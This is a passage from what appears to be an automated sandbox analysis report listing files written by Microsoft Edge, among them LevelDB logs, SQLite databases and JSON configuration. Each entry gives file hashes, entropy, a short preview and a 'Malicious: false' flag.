Malicious:	false
Preview:	2024/11/18-07:29:18.150 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/18-07:29:18.151 738 Recovering log #3.2024/11/18-07:29:18.151 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.257269246417947
Encrypted:	false
SSDEEP:	6:HUOsFH39+q2PCHhJ23oH+TcwtnG2tMsIFUt8YUOsclZmw+YUOscJVkwOCHhJ23oi:GHIvBYebn9GFUt8wl/+w356Yebn95J
MD5:	81AECB5B3A35024C1AD285D9FB3D3080
SHA1:	354C6606954B636123FB25026854FAC573DEBF79
SHA-256:	538C8386597187D419F63E1EE8A9D43F6A4CBC81225E07EEC20524E1DF223F26
SHA-512:	5662C3C834E0924E09A538BFC4ACC327CF2EAD6740F965E59E503A83C6DB8668BCD20B02DED085A7A66E6D7B74B561FDCDDD0891E49FF4F4E4455B963E51C08C
Malicious:	false
Preview:	2024/11/18-07:29:18.150 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/18-07:29:18.151 738 Recovering log #3.2024/11/18-07:29:18.151 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6130113923225331
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWck2z0MAqOc:TLapR+DDNzWjJ0npnyXKUO8+jf0pIUmL
MD5:	29388F75A16A7F2B28D7741EA82009CB
SHA1:	9A7A9B1CDD9FD04DEDC3E2D1F0747FA7AF343316
SHA-256:	F91CA5666725B9AF6411120403C9E02F1090D486791FDF23B307D007424C8565
SHA-512:	0106A35814F535E58A2D272CDB6633C03E6691C9B4CB2D75C6D6C010FAF1BD6B369E7C52DFE9782E0830FDFDDF22A9C27F315730CF5C04086B282F2EED9505D9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354134654146015
Encrypted:	false
SSDEEP:	6144:GA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:GFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	F15EFDD2F68143F43BB70DE4136382A0
SHA1:	D3635C8F3E42E4303A70F0B8EBB78BF216D77749
SHA-256:	A513DE4DCDB26E45325F334EE3CBAA129FE4D540905D43ADB0869579AEDA932D
SHA-512:	CFC34073E541108AB1CB70A7A49CE21FAF1BE84C424B1A4FF6A255A672D06DE5C27D9B70387DAA388A93DA8453B005E17A23C7449699795EAA913C36D6DC19FC
Malicious:	false
Preview:	...m.................DB_VERSION.1..4.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376406565863584..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.213780235036344
Encrypted:	false
SSDEEP:	6:HUOsfgAERM1CHhJ23oH+Tcwtk2WwnvB2KLlVUOsPcq2PCHhJ23oH+Tcwtk2Wwnvh:MQRAYebkxwnvFLjvBYebkxwnQFUv
MD5:	1777B3BBBFF34F6495440C739FD35792
SHA1:	9729DFD4F5588D0E4EB602E819C465C7843AF7E4
SHA-256:	584F2FEC3EA05DA2EABD39C5FF1D7AE5F2A5B632519C48FF8847880FE034FEAD
SHA-512:	EA334AEED154A3BAE4588DD02ED9AFCC21963453639AB0DA76371CBBAEEB0769A36CF2B34AE0C16A524E166E44C5A87078FE431865D11BF695B28F14FC6F608D
Malicious:	false
Preview:	2024/11/18-07:29:23.953 2324 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/18-07:29:24.008 2324 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324616340034888
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RX:C1gAg1zfvv
MD5:	F543C00DF555540957AD0832C8A82B0B
SHA1:	D44B038596BDFDF560D1BA5147145860057EABE3
SHA-256:	B10201DD10BB0FB21FE6797226881F955773D6FC5C4522941D3BAEA9B38E27B8
SHA-512:	3F4DA03EE4602693353415A2D379A985C6FA72902B76BDBC887FA78B69AA325BB2CDB661C4B2C921BE6D6A49C06229F79AA88DDB8BCED1E8B2062A645CAD4F31
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.237864281582151
Encrypted:	false
SSDEEP:	6:HUOsRyN1L+q2PCHhJ23oH+Tcwt8aPrqIFUt8YUOsh1Zmw+YUOsA1LVkwOCHhJ230:ew9+vBYebL3FUt8V1/+qV56YebQJ
MD5:	BAFEB91147C8B1FEDBC7F8A94730DA9E
SHA1:	0D8AD1CB8D8D5CE2499D0C6E3B3AD9F2A0493BA7
SHA-256:	A06C410626732501BB7CA3EF49B7AA72EB52CFC82458FA276A5925D5F03CA7A1
SHA-512:	F69A40EED99136CB88BC3153E5F60389817514D67B03034A01447D7E0F220A16EC7134C5CBF4E5CD41A986A2933B207FF685618EAF1DBB5EA31CEEE851E954B5
Malicious:	false
Preview:	2024/11/18-07:29:18.075 c9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/18-07:29:18.076 c9c Recovering log #3.2024/11/18-07:29:18.082 c9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.237864281582151
Encrypted:	false
SSDEEP:	6:HUOsRyN1L+q2PCHhJ23oH+Tcwt8aPrqIFUt8YUOsh1Zmw+YUOsA1LVkwOCHhJ230:ew9+vBYebL3FUt8V1/+qV56YebQJ
MD5:	BAFEB91147C8B1FEDBC7F8A94730DA9E
SHA1:	0D8AD1CB8D8D5CE2499D0C6E3B3AD9F2A0493BA7
SHA-256:	A06C410626732501BB7CA3EF49B7AA72EB52CFC82458FA276A5925D5F03CA7A1
SHA-512:	F69A40EED99136CB88BC3153E5F60389817514D67B03034A01447D7E0F220A16EC7134C5CBF4E5CD41A986A2933B207FF685618EAF1DBB5EA31CEEE851E954B5
Malicious:	false
Preview:	2024/11/18-07:29:18.075 c9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/18-07:29:18.076 c9c Recovering log #3.2024/11/18-07:29:18.082 c9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.236166778764762
Encrypted:	false
SSDEEP:	6:HUOsK31L+q2PCHhJ23oH+Tcwt865IFUt8YUOsK3j1Zmw+YUOsK31LVkwOCHhJ23b:139+vBYeb/WFUt823j1/+239V56Yeb/L
MD5:	71DC38361A72E67964F1D6E7974C9AE4
SHA1:	CDFF5E054CFB18DF3E75D081B9D021D9A977A04F
SHA-256:	6EED2DC6441E6B966B5041FE3F8DC743F607B757E56313B5FA281FD9B2AF891C
SHA-512:	CCB588DCC00216DF489F30215E012C34F8E59544A9A619D16F077F127C49141E51FF5E55D8FFBE27E41BA2279C8BF93636FD6CD7E7DDD62E0494DB49234ED8C6
Malicious:	false
Preview:	2024/11/18-07:29:18.095 c9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/18-07:29:18.095 c9c Recovering log #3.2024/11/18-07:29:18.095 c9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.236166778764762
Encrypted:	false
SSDEEP:	6:HUOsK31L+q2PCHhJ23oH+Tcwt865IFUt8YUOsK3j1Zmw+YUOsK31LVkwOCHhJ23b:139+vBYeb/WFUt823j1/+239V56Yeb/L
MD5:	71DC38361A72E67964F1D6E7974C9AE4
SHA1:	CDFF5E054CFB18DF3E75D081B9D021D9A977A04F
SHA-256:	6EED2DC6441E6B966B5041FE3F8DC743F607B757E56313B5FA281FD9B2AF891C
SHA-512:	CCB588DCC00216DF489F30215E012C34F8E59544A9A619D16F077F127C49141E51FF5E55D8FFBE27E41BA2279C8BF93636FD6CD7E7DDD62E0494DB49234ED8C6
Malicious:	false
Preview:	2024/11/18-07:29:18.095 c9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/18-07:29:18.095 c9c Recovering log #3.2024/11/18-07:29:18.095 c9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.244812540644225
Encrypted:	false
SSDEEP:	6:HUOs3q2PCHhJ23oH+Tcwt8NIFUt8YUOsaZmw+YUOse1kwOCHhJ23oH+Tcwt8+eLJ:uvBYebpFUt8+/+q156YebqJ
MD5:	BBB816DB3EEC10AFE5E6599F8A597434
SHA1:	25E43AA9F77B2C9012BF05645DBE3CEBC441757A
SHA-256:	0D6A74DC65AF0EBDA14F27C2C43FA7CE243749654045E8C83072BE9326882648
SHA-512:	66FE2785AE0C83417E60CBED25C393261D06AFE98E6C5782EA3C4C7FCA6F57E83E00F0067AD3A73DCD87637F2FCA1DE4AFFFC14E8176B89A67DF9F1A4200EBF8
Malicious:	false
Preview:	2024/11/18-07:29:18.870 b64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/18-07:29:18.870 b64 Recovering log #3.2024/11/18-07:29:18.908 b64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.244812540644225
Encrypted:	false
SSDEEP:	6:HUOs3q2PCHhJ23oH+Tcwt8NIFUt8YUOsaZmw+YUOse1kwOCHhJ23oH+Tcwt8+eLJ:uvBYebpFUt8+/+q156YebqJ
MD5:	BBB816DB3EEC10AFE5E6599F8A597434
SHA1:	25E43AA9F77B2C9012BF05645DBE3CEBC441757A
SHA-256:	0D6A74DC65AF0EBDA14F27C2C43FA7CE243749654045E8C83072BE9326882648
SHA-512:	66FE2785AE0C83417E60CBED25C393261D06AFE98E6C5782EA3C4C7FCA6F57E83E00F0067AD3A73DCD87637F2FCA1DE4AFFFC14E8176B89A67DF9F1A4200EBF8
Malicious:	false
Preview:	2024/11/18-07:29:18.870 b64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/18-07:29:18.870 b64 Recovering log #3.2024/11/18-07:29:18.908 b64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21861961848037048
Encrypted:	false
SSDEEP:	3:dtDl9tFlljq7A/mhWJFuQ3yy7IOWULGwtnotdweytllrE9SFcTp4AGbNCV9RUI1w:dtDk75fOhGQnotd0Xi99pEYnw
MD5:	F9A6B02DADA3A6FF17090EF791A14E08
SHA1:	F3FF9BDEFDF416BE218CEF77DEE56C94863715D0
SHA-256:	B40CA1F79AEFF21088B92231AC1967A0AD46171C3D0FF0D703CBF9AB5B2AD3D6
SHA-512:	5A2F95EB98033FE7EE9DE83565574C2EB045C509830199DC8958977B07B8D5896FD5721C1CB541207BFD19114337D81C14311673AA2424DA4D2C5982FF96E7F5
Malicious:	false
Preview:	.............c.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 13, cookie 0x3, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	3.4138449634132066
Encrypted:	false
SSDEEP:	384:Fj9P0AjlUgam6I4P/KbtLcg773pLChfQkQerIRKToaAu:Fd7lLIP/Ng74Je2IRKcC
MD5:	621808B98AD76E75A1AE5612BECB2971
SHA1:	95D9291B61388734D7E5B93360C86F77069F1DFD
SHA-256:	CA08DC666846E81BCF57F9F7E2930D4C6C4101598A3EE1189DB53E3DF34FD1E7
SHA-512:	505B65AD969C5F6858E64582841A2D351A3A81CFB2279B07FA788419DC74AC3C4F940FB1C1BD4DA7C443B676FC84618E75A4CC7D8ED83D031257967765B06FBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.335103503212502
Encrypted:	false
SSDEEP:	12:mvBYeb8rcHEZrELFUt8b/+E56Yeb8rcHEZrEZSJ:kBYeb8nZrExg8Z6Yeb8nZrEZe
MD5:	165BF99FACF45211B8A1EBFB988336F3
SHA1:	FFF6DA3B72968DF93902656CA53F65F828EBEB83
SHA-256:	301FC6EEC6134521CAA7A37A878E4EFE4C44BD6131206C998BC3E0D576E16E20
SHA-512:	AE2331A8116517443C324F2400655E24DF5D24BAADFB5154C4166952B96853305E1085CC9166D02C0DC037EB5BA6354C4FAE901012CE44439733E62F60C004DD
Malicious:	false
Preview:	2024/11/18-07:29:22.688 b64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/18-07:29:22.689 b64 Recovering log #3.2024/11/18-07:29:22.691 b64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.335103503212502
Encrypted:	false
SSDEEP:	12:mvBYeb8rcHEZrELFUt8b/+E56Yeb8rcHEZrEZSJ:kBYeb8nZrExg8Z6Yeb8nZrEZe
MD5:	165BF99FACF45211B8A1EBFB988336F3
SHA1:	FFF6DA3B72968DF93902656CA53F65F828EBEB83
